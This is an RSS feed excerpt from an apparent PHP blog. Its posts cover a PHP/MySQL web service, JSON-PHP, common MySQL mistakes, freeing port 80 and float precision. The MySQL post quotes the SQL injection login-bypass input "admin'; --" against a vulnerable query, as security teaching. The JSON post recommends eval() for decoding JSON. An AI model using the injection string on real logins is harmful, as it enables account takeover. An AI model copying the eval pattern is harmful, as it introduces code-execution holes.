&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo '&amp;lt;',$tag,'&amp;gt;',htmlentities($val),'&amp;lt;/',$tag,'&amp;gt;';&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo '&amp;lt;/',$key,'&amp;gt;';&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; echo '&amp;lt;/posts&amp;gt;';&lt;br /&gt;
&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp; /* disconnect from the db */&lt;br /&gt;
&amp;nbsp; @mysql_close($link);&lt;br /&gt;
}&lt;br /&gt;
With the number of persons hitting your web service (hopefully), you'll need to do adequate validation before attempting to connect to the database to avoid injection attacks. Once we get the desired results from the database, we cycle through the results to populate our return results array. Depending upon the response type desired, we output the proper header and content in the desired format.&lt;/p&gt;
&lt;p&gt;Take the following sample URL for example:&lt;/p&gt;
&lt;p&gt;copyhttp://mydomain.com/web-service.php?user=2&amp;amp;num=10&lt;br /&gt;
Now, we can take a look at the possible results of the URL.&lt;/p&gt;
&lt;p&gt;The XML Output&lt;br /&gt;
&amp;lt;posts&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;SSLmatic SSL Certificate Giveaway Winners&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2304&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;MooTools FileManager&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2288&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;PHPTVDB: Using PHP to Retrieve TV Show Information&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2266&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;David Walsh: The Lost MooTools Plugins&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2258&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;Create Short URLs Using U.Nu&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2218&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;Create Bit.ly Short URLs Using PHP&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2194&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;Represent Your Repositories Using the GitHub Badge!&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2178&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;ZebraTable&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?page_id=2172&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;MooTools Zebra Table Plugin&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2168&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;post&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;post_title&amp;gt;SSLmatic: Quality, Cheap SSL Certificates and Giveaway!&amp;lt;/post_title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;guid&amp;gt;http://davidwalsh.name/?p=2158&amp;lt;/guid&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/post&amp;gt;&lt;br /&gt;
&amp;lt;/posts&amp;gt;&lt;br /&gt;
Take this next sample URL for example:&lt;/p&gt;
&lt;p&gt;copyhttp://mydomain.com/web-service.php?user=2&amp;amp;num=10&amp;amp;format=json&lt;br /&gt;
Now, we can take a look at the possible results of the URL.&lt;/p&gt;
&lt;p&gt;The JSON Output&lt;br /&gt;
{&amp;quot;posts&amp;quot;:[{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;SSLmatic SSL Certificate Giveaway Winners&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2304&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;MooTools FileManager&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2288&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;PHPTVDB: Using PHP to Retrieve TV Show Information&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2266&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;David Walsh: The Lost MooTools Plugins&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2258&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;Create Short URLs Using U.Nu&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2218&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;Create Bit.ly Short URLs Using PHP&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2194&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;Represent Your Repositories Using the GitHub Badge!&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2178&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;ZebraTable&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?page_id=2172&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;MooTools Zebra Table Plugin&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2168&amp;quot;}},{&amp;quot;post&amp;quot;:{&amp;quot;post_title&amp;quot;:&amp;quot;SSLmatic: Quality, Cheap SSL Certificates and Giveaway!&amp;quot;,&amp;quot;guid&amp;quot;:&amp;quot;http:\/\/davidwalsh.name\/?p=2158&amp;quot;}}]}&lt;/p&gt;
&lt;p&gt;Creating a basic web service is very simple and encourages your users to spread the word about your website or service. Want more traffic? Want your website to grow without you putting in all the effort? Create a web service!&lt;/p&gt;</description>
								         <pubDate>Wed, 07 Mar 2012 21:26:45 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/52/Create-a-Basic-Web-Service-Using-PHP,-MySQL,-XML,-and-JSON</guid>
								      </item>								      <item>
								         <title>JSON-PHP</title>
								         <link>http://www.nileshpawar.com/51/JSON-PHP</link>
								         <description>&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code&gt;JSON-PHP&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;is a PHP implementation of&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://json.org/&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;JSON&lt;/font&gt;&lt;/a&gt;, freely-available for download and use from&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://pear.php.net/pepr/pepr-proposal-show.php?id=198&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;pear.php.net&lt;/font&gt;&lt;/a&gt;. This project has a public&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://groups.yahoo.com/group/json-php/&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;Yahoo! group&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;for bug reports, updates, rants, etc.&lt;/p&gt;
&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://json.org/&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;JSON (JavaScript Object Notation)&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;is a lightweight data-interchange format. In experimenting with&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://developer.apple.com/internet/webcontent/xmlhttpreq.html&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;XMLHTTPRequest&lt;/font&gt;&lt;/a&gt;, I've found that using a less-bloaty data exchange format beats XML. It's also perfect for the growing body of&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://www.adaptivepath.com/publications/essays/archives/000385.php&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;Ajax&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;code, examples of which can be found at&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://www.ajaxmatters.com/&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;Ajax Matters&lt;/font&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;In Javascript, consuming input in JSON format is as easy as:&lt;/p&gt;
&lt;blockquote style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; margin: 12px 0px; padding: 0px 0px 0px 23px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; border-left-color: rgb(221, 221, 221); border-left-width: 2px; border-left-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code&gt;eval(&amp;quot;var decoded_data = &amp;quot;+encoded_data);&lt;/code&gt;&lt;/blockquote&gt;
&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;With JSON-PHP, it can be almost as easy on the server-side, too:&lt;/p&gt;
&lt;blockquote style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; margin: 12px 0px; padding: 0px 0px 0px 23px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; border-left-color: rgb(221, 221, 221); border-left-width: 2px; border-left-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code&gt;// create a new instance of Services_JSON&lt;br /&gt;
require_once('JSON.php');&lt;br /&gt;
$json = new Services_JSON();&lt;br /&gt;
&lt;br /&gt;
// convert a complex value to JSON notation&lt;br /&gt;
$value = array(1, 2, 'foo');&lt;br /&gt;
$output = $json-&amp;gt;encode($value);&lt;br /&gt;
print($output);&lt;br /&gt;
&lt;br /&gt;
// accept incoming POST data&lt;br /&gt;
$input = $GLOBALS['HTTP_RAW_POST_DATA'];&lt;br /&gt;
$value = $json-&amp;gt;decode($input);&lt;/code&gt;&lt;/blockquote&gt;
&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;JSON is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. This feature can also be found in Python. JSON is a text format that is completely language independent but uses conventions that are familiar to programmers of the C-family of languages, including C, C++, C#, Java, JavaScript, Perl, TCL, and many others. These properties make JSON an ideal data-interchange language.&lt;/p&gt;
&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;JSON-PHP is available in&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://pear.php.net/pepr/pepr-proposal-show.php?id=198&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;fully-functional proposal form from the PEAR site&lt;/font&gt;&lt;/a&gt;, under the PHP license.&lt;/p&gt;
&lt;p style=&quot;font: 15px/24px MyriadPro-Regular, &amp;quot;Myriad Pro Regular&amp;quot;, MyriadPro, &amp;quot;Myriad Pro&amp;quot;, trebuchet, verdana, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; padding-top: 0px; padding-bottom: 0px; margin-top: 0px; margin-bottom: 12px; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;If you're comfortable with compiling PHP extensions from source, and have root privileges on the machines you use, there is a&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px -2px; padding: 0px 2px; color: black; text-decoration: underline;&quot; href=&quot;http://www.aurore.net/projects/php-json/&quot;&gt;&lt;font color=&quot;#000000&quot;&gt;C implementation&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;of JSON for PHP available, with big speed advantages over JSON-PHP.&lt;/p&gt;</description>
								         <pubDate>Wed, 07 Mar 2012 21:07:06 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/51/JSON-PHP</guid>
								      </item>								      <item>
								         <title>Top 10 MySQL Mistakes Made By PHP Developers</title>
								         <link>http://www.nileshpawar.com/50/Top-10-MySQL-Mistakes-Made-By-PHP-Developers</link>
								         <description>&lt;p&gt;A database is a fundamental component for most web applications. If you&amp;rsquo;re using PHP, you&amp;rsquo;re probably using MySQL&amp;ndash;an integral part of the LAMP stack.&lt;/p&gt;
&lt;p&gt;PHP is relatively easy and most new developers can write functional code within a few hours. However, building a solid, dependable database takes time and expertise. Here are ten of the worst MySQL mistakes I&amp;rsquo;ve made (some apply to any language/database)&amp;hellip;&lt;/p&gt;
&lt;p&gt;1. Using MyISAM rather than InnoDB&lt;/p&gt;
&lt;p&gt;MySQL has a number of database engines, but you&amp;rsquo;re most likely to encounter MyISAM and InnoDB.&lt;/p&gt;
&lt;p&gt;MyISAM is used by default. However, unless you&amp;rsquo;re creating a very simple or experimental database, it&amp;rsquo;s almost certainly the wrong choice! MyISAM doesn&amp;rsquo;t support foreign key constraints or transactions, which are essential for data integrity. In addition, the whole table is locked whenever a record is inserted or updated; this causes a detrimental effect on performance as usage grows.&lt;/p&gt;
&lt;p&gt;The solution is simple: use InnoDB.&lt;/p&gt;
&lt;p&gt;2. Using PHP&amp;rsquo;s mysql functions&lt;/p&gt;
&lt;p&gt;PHP has provided MySQL library functions since day one (or near as makes no difference). Many applications rely on mysql_connect, mysql_query, mysql_fetch_assoc, etc. but the PHP manual states:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
If you are using MySQL versions 4.1.3 or later it is strongly recommended that you use the mysqli extension instead.&lt;/p&gt;
&lt;p&gt;mysqli, or the MySQL improved extension, has several advantages:&lt;/p&gt;
&lt;p&gt;an (optional) object-oriented interface&lt;br /&gt;
prepared statements (which help prevent SQL-injection attacks and increase performance)&lt;br /&gt;
multiple statements and transaction support&lt;br /&gt;
Alternatively, you should consider PDO if you want to support multiple databases.&lt;br /&gt;
3. Not sanitizing user input&lt;/p&gt;
&lt;p&gt;This should probably be #1: never trust user input. Validate every string using server-side PHP &amp;mdash; don&amp;rsquo;t rely on JavaScript. The simplest SQL injection attacks depend on code such as:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
$username = $_POST[&amp;quot;name&amp;quot;];&lt;br /&gt;
$password = $_POST[&amp;quot;password&amp;quot;];&lt;br /&gt;
$sql = &amp;quot;SELECT userid FROM usertable WHERE username='$username' AND password='$password';&amp;quot;;&lt;br /&gt;
// run query...&lt;br /&gt;
This can be cracked by entering &amp;ldquo;admin'; --&amp;rdquo; in the username field. The SQL string will equate to:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
SELECT userid FROM usertable WHERE username='admin';&lt;br /&gt;
The devious cracker can log in as &amp;ldquo;admin&amp;rdquo;; they need not know the password because it&amp;rsquo;s commented out of the SQL.&lt;/p&gt;
&lt;p&gt;4. Not using UTF-8&lt;/p&gt;
&lt;p&gt;Those of us in the US, UK, and Australia rarely consider languages other than English. We happily complete our masterpiece only to find it cannot be used elsewhere.&lt;/p&gt;
&lt;p&gt;UTF-8 solves many internationalization issues. Although it won&amp;rsquo;t be properly supported in PHP until version 6.0, there&amp;rsquo;s little to prevent you setting MySQL character sets to UTF-8.&lt;/p&gt;
&lt;p&gt;5. Favoring PHP over SQL&lt;/p&gt;
&lt;p&gt;When you&amp;rsquo;re new to MySQL, it&amp;rsquo;s tempting to solve problems in the language you know. That can lead to unnecessary and slower code. For example, rather than using MySQL&amp;rsquo;s native AVG() function, you use a PHP loop to calculate an average by summing all values in a record-set.&lt;/p&gt;
&lt;p&gt;Watch out also for SQL queries within PHP loops. Normally, it&amp;rsquo;s more effective to run a query then loop through the results.&lt;/p&gt;
&lt;p&gt;In general, utilize the strengths of your database when analyzing data. A little SQL knowledge goes a long way.&lt;/p&gt;
&lt;p&gt;6. Not optimizing your queries&lt;/p&gt;
&lt;p&gt;99% of PHP performance problems will be caused by the database, and a single bad SQL query can play havoc with your web application. MySQL&amp;rsquo;s EXPLAIN statement, the Query Profiler, and many other tools can help you find that rogue SELECT.&lt;/p&gt;
&lt;p&gt;7. Using the wrong data types&lt;/p&gt;
&lt;p&gt;MySQL offers a range of numeric, string, and time data types. If you&amp;rsquo;re storing a date, use a DATE or DATETIME field. Using an INTEGER or STRING can make SQL queries more complicated, if not impossible.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s often tempting to invent your own data formats; for example, storing serialized PHP objects in string. Database management may be easier, but MySQL will become a dumb data store and it may lead to problems later.&lt;/p&gt;
&lt;p&gt;8. Using * in SELECT queries&lt;/p&gt;
&lt;p&gt;Never use * to return all columns in a table&amp;ndash;it&amp;rsquo;s lazy. You should only extract the data you need. Even if you require every field, your tables will inevitably change.&lt;/p&gt;
&lt;p&gt;9. Under- or over-indexing&lt;/p&gt;
&lt;p&gt;As a general rule of thumb, indexes should be applied to any column named in the WHERE clause of a SELECT query.&lt;/p&gt;
&lt;p&gt;For example, assume we have a usertable with a numeric ID (the primary key) and an email address. During log on, MySQL must locate the correct ID by searching for an email. With an index, MySQL can use a fast search algorithm to locate the email almost instantly. Without an index, MySQL must check every record in sequence until the address is found.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s tempting to add indexes to every column, however, they are regenerated during every table INSERT or UPDATE. That can hit performance; only add indexes when necessary.&lt;/p&gt;
&lt;p&gt;10. Forgetting to back up&lt;/p&gt;
&lt;p&gt;It may be rare, but databases fail. Hard disks can stop. Servers can explode. Web hosts can go bankrupt. Losing your MySQL data is catastrophic, so ensure you have automated backups or replication in place.&lt;/p&gt;
&lt;p&gt;11. Bonus mistake: not considering other databases!&lt;/p&gt;
&lt;p&gt;MySQL may be the most widely used database for PHP developers, but it&amp;rsquo;s not the only option. PostgreSQL and Firebird are its closest competitors; both are open source and not controlled by a corporation. Microsoft provide SQL Server Express and Oracle supply 10g Express; both are free versions of the bigger enterprise editions. Even SQLite may be a viable alternative for smaller or embedded applications.&lt;/p&gt;</description>
								         <pubDate>Mon, 06 Feb 2012 04:55:11 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/50/Top-10-MySQL-Mistakes-Made-By-PHP-Developers</guid>
								      </item>								      <item>
								         <title>How to stop port 80 on winwows?</title>
								         <link>http://www.nileshpawar.com/49/How-to-stop-port-80-on-winwows?</link>
								         <description>I am trying to install Localhost Apache/Mysql for trying my hand at web development. Unfortunately Apache won't install because apparently my port 80 was blocked by Skype. I quit skype and tried again but no joy. I am still having port 80 blocked. So any ideas how to free port 80 on my Windows 7?&lt;br&gt; &lt;br&gt;

You can use this command on command line, to see which process is using port 80&lt;br&gt;&lt;br&gt;

Code:&lt;br&gt;
netstat -o -n -a | findstr 0.0:80&lt;br&gt;&lt;br&gt;
Generally on windows it's the World Wide Web Publishing Service. So open your services, and stop World Wide Web Publishing Service.</description>
								         <pubDate>Wed, 28 Sep 2011 01:12:09 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/49/How-to-stop-port-80-on-winwows?</guid>
								      </item>								      <item>
								         <title>Check whether magic_quotes_gpc is turned on</title>
								         <link>http://www.nileshpawar.com/48/Check-whether-magic_quotes_gpc-is-turned-on</link>
								         <description>In the previous post I have mentioned about magic_quotes_gpc. But didn't mention on how to check whether this feature is turned on or off. There is two ways to check whether this feature is turned on or off.&lt;br&gt;
&lt;br&gt;
Check in the php.ini file whether the feature is set to 'on' or 'off'
Or if you don't have privilege to view the php.ini file, then you can check it using php code such as below:&lt;br&gt;&lt;br&gt;
  if (get_magic_quotes_gpc())  {&lt;br&gt;
     echo &quot;the get_magic_quotes_gpc() is turned on&quot;;&lt;br&gt;
}&lt;br&gt;
else&lt;br&gt;
{&lt;br&gt;
      echo &quot;the get_magic_quotes_gpc() is turned off&quot;;&lt;br&gt;
}&lt;br&gt;</description>
								         <pubDate>Thu, 14 Jul 2011 23:07:10 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/48/Check-whether-magic_quotes_gpc-is-turned-on</guid>
								      </item>								      <item>
								         <title>Very Basic yet Very effective statement...</title>
								         <link>http://www.nileshpawar.com/47/Very-Basic-yet-Very-effective-statement...</link>
								         <description>Most importantly, you need to be aware that the float data type is not always capable
of representing numbers in the way you expect it to. Consider, for example this

very simple statement:


echo (int) ((0.1 + 0.7) * 10);

You would expect that the expression ((0.1 + 0.7) * 10) would evaluate to 8 (and, in fact, if you print it out without the integer conversion, it does). However, the statement above outputs 7 instead. This happens because the result of this simple arithmetic expression is stored internally as 7.999999 instead of 8; when the value is converted to int, PHP simply truncates away the fractional part, resulting in a rather
significant error (12.5%, to be exact).

The lesson that you need to take home from all this is simple: know the limitations of your numeric data types, and plan around them. Whenever the precision of your calculation is a relevant factor to the proper functioning of your application, you should consider using a the arbitrary precision functions provided by the BCMath extension (you can search for it in your copy of the PHP manual) instead of PHP's built-in data types.</description>
								         <pubDate>Mon, 11 Apr 2011 07:35:42 +0000</pubDate>
